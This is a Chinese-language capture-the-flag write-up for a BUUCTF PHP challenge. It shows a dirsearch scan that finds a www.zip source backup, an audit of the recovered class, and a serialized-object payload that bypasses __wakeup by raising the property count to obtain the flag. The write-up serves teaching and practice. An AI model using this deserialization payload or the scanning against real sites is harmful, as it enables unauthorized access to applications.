目录
分析
PHP源码审计
解题步骤
分析
打开连接
提示有源码备份,查看了一下网站源码也没发现有啥,尝试了一些备份文件的后缀,
.git
.svn
.swp
.bak
.bash_history
逐个访问了index.php的备份,啥也没有无奈只好上工具dirsearch扫,打开终端,命令
python dirsearch.py -u http://36ca328e-406a-4142-a0bd-66730c3a334a.node4.buuoj.cn:81/ --delay=0.07 --threads=1
又得慢慢等了
扫完后,发现有个特殊的目录,www.zip,访问下载了个压缩包
得到php源码
PHP源码审计
class.php
username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "NO!!!hacker!!!";
echo "You name is: ";
echo $this->username;echo "";
echo "You password is: ";
echo $this->password;echo "";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "hello my friend~~sorry i can't give you the flag!";
die();
}
}
}
?>
index.php
又是一道反序列化的题目,看了一下源码,得到思路,让
password=100 username=admin
并且绕过wakeup函数,wakeup方法挺容易绕过的,就是修改实际成员数目(类中变量数目),大于实际成员数目就不会执行wakeup函数了
解题步骤
写个PHP拿到序列化的东西
用在线工具PHP在线运行工具|代码在线运行工具 (y444.cn)
执行一下得到
类中的private变量在序列化时会加上x00即空字符,所以输出就字符报错了,我们只要将报错的字符改成%00即可
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
这里将2改为3,绕过wakeup函数,接着构造payload
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}


![[极客大挑战 2019]PHP --BUUCTF [极客大挑战 2019]PHP --BUUCTF](http://www.mshxw.com/aiimages/31/969357.png)
